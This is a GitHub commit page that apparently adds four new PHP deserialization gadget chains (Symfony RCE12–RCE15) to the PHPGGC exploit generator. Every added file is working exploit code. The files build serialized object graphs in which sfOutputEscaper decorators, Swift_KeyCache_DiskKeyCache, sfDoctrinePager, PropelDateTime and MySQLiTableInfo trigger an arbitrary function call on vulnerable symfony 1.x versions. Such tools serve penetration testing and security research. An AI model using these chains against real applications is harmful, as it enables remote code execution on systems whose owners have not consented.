Skip to content

Commit 0c7ca0c

Browse files
committed
Merge branch 'darkpills-master'
2 parents 6344ec7 + 9e33622 commit 0c7ca0c

File tree

8 files changed

+218
-0
lines changed

8 files changed

+218
-0
lines changed

gadgetchains/Symfony/RCE/12/chain.php

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
<?php
2+
3+
namespace GadgetChain\Symfony;
4+
5+
class RCE12 extends \PHPGGC\GadgetChain\RCE\FunctionCall
6+
{
7+
public static $version = '1.3.0 <= 1.5.13~17';
8+
public static $vector = '__destruct';
9+
public static $author = 'darkpills';
10+
public static $information = 'Works until 1.5.13, and until 1.5.17 if installed via git method (not composer)';
11+
12+
public function generate(array $parameters)
13+
{
14+
$cacheKey = "1";
15+
$keys = new \sfOutputEscaperArrayDecorator($parameters['function'], array($cacheKey => $parameters['parameter']));
16+
17+
// a rmdir($path . '/' $cacheKey) will be done by Swift_KeyCache_DiskKeyCache::clearAll()
18+
// so put something that will never exists to avoid issues
19+
$path = "thispathshouldneverexists";
20+
$cache = new \Swift_KeyCache_DiskKeyCache($keys, $path);
21+
22+
return $cache;
23+
}
24+
}
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
<?php
2+
3+
class Swift_KeyCache_DiskKeyCache
4+
{
5+
private $_path;
6+
7+
private $_keys = array();
8+
9+
public function __construct($keys, $path) {
10+
$this->_keys = $keys;
11+
$this->_path = $path;
12+
}
13+
}
14+
15+
class sfOutputEscaperArrayDecorator
16+
{
17+
protected $value;
18+
19+
protected $escapingMethod;
20+
21+
public function __construct($escapingMethod, $value) {
22+
$this->escapingMethod = $escapingMethod;
23+
$this->value = $value;
24+
}
25+
}

gadgetchains/Symfony/RCE/13/chain.php

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
<?php
2+
3+
namespace GadgetChain\Symfony;
4+
5+
class RCE13 extends \PHPGGC\GadgetChain\RCE\FunctionCall
6+
{
7+
public static $version = '1.2.0 <= 1.2.12';
8+
public static $vector = 'Serializable';
9+
public static $author = 'darkpills';
10+
public static $information = 'Requires sfDoctrinePlugin to be enabled';
11+
12+
public function generate(array $parameters)
13+
{
14+
$escaper = new \sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter']));
15+
$pager = new \sfDoctrinePager($escaper);
16+
17+
return $pager;
18+
}
19+
}
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
<?php
2+
3+
class sfDoctrinePager implements Serializable
4+
{
5+
protected
6+
$prop = null;
7+
8+
public function __construct($prop) {
9+
$this->prop = $prop;
10+
}
11+
12+
public function serialize()
13+
{
14+
return serialize($this->prop);
15+
}
16+
17+
public function unserialize($serialized)
18+
{
19+
}
20+
}
21+
22+
class sfOutputEscaperArrayDecorator
23+
{
24+
protected $value;
25+
26+
protected $escapingMethod;
27+
28+
public function __construct($escapingMethod, $value) {
29+
$this->escapingMethod = $escapingMethod;
30+
$this->value = $value;
31+
}
32+
}

gadgetchains/Symfony/RCE/14/chain.php

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
<?php
2+
3+
namespace GadgetChain\Symfony;
4+
5+
class RCE14 extends \PHPGGC\GadgetChain\RCE\FunctionCall
6+
{
7+
public static $version = '1.2.0 <= 1.2.12';
8+
public static $vector = '__wakeup';
9+
public static $author = 'darkpills';
10+
public static $information = 'Requires sfPropelPlugin to be enabled';
11+
12+
public function generate(array $parameters)
13+
{
14+
$escaper = new \sfOutputEscaperObjectDecorator($parameters['function'], new \sfCultureInfo($parameters['parameter']));
15+
$date = new \PropelDateTime(null, $escaper);
16+
17+
return $date;
18+
}
19+
}
Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
<?php
2+
class PropelDateTime extends DateTime
3+
{
4+
private $dateString;
5+
6+
private $tzString;
7+
8+
public function __construct($dateString, $tzString) {
9+
$this->dateString = $dateString;
10+
$this->tzString = $tzString;
11+
}
12+
}
13+
14+
15+
class sfOutputEscaperObjectDecorator
16+
{
17+
protected $value;
18+
19+
protected $escapingMethod;
20+
21+
public function __construct($escapingMethod, $value) {
22+
$this->escapingMethod = $escapingMethod;
23+
$this->value = $value;
24+
}
25+
}
26+
27+
class sfCultureInfo
28+
{
29+
protected $dataFileExt = '.dat';
30+
protected $data = array();
31+
protected $culture;
32+
protected $dataDir;
33+
protected $dataFiles = array();
34+
protected $dateTimeFormat;
35+
protected $numberFormat;
36+
protected $properties = array();
37+
38+
public function __construct($culture) {
39+
$this->culture = $culture;
40+
}
41+
42+
}

gadgetchains/Symfony/RCE/15/chain.php

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
<?php
2+
3+
namespace GadgetChain\Symfony;
4+
5+
class RCE15 extends \PHPGGC\GadgetChain\RCE\FunctionCall
6+
{
7+
public static $version = '1.0.0 <= 1.1.9';
8+
public static $vector = '__wakeup';
9+
public static $author = 'darkpills';
10+
public static $information = 'With Creole ORM';
11+
12+
public function generate(array $parameters)
13+
{
14+
$escaper = new \sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter']));
15+
$tableInfo = new \MySQLiTableInfo($escaper);
16+
17+
return $tableInfo;
18+
}
19+
}
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
<?php
2+
3+
class sfOutputEscaperArrayDecorator
4+
{
5+
protected $value;
6+
7+
protected $escapingMethod;
8+
9+
public function __construct($escapingMethod, $value) {
10+
$this->escapingMethod = $escapingMethod;
11+
$this->value = $value;
12+
}
13+
}
14+
15+
class MySQLiTableInfo
16+
{
17+
18+
protected $name;
19+
protected $columns = array();
20+
protected $foreignKeys = array();
21+
protected $indexes = array();
22+
protected $primaryKey;
23+
protected $pkLoaded = false;
24+
protected $fksLoaded = false;
25+
protected $indexesLoaded = false;
26+
protected $colsLoaded = false;
27+
protected $vendorLoaded = false;
28+
protected $vendorSpecificInfo = array();
29+
protected $conn;
30+
protected $database;
31+
protected $dblink;
32+
protected $dbname;
33+
34+
public function __construct($columns)
35+
{
36+
$this->columns = $columns;
37+
}
38+
}

0 commit comments

Comments
 (0)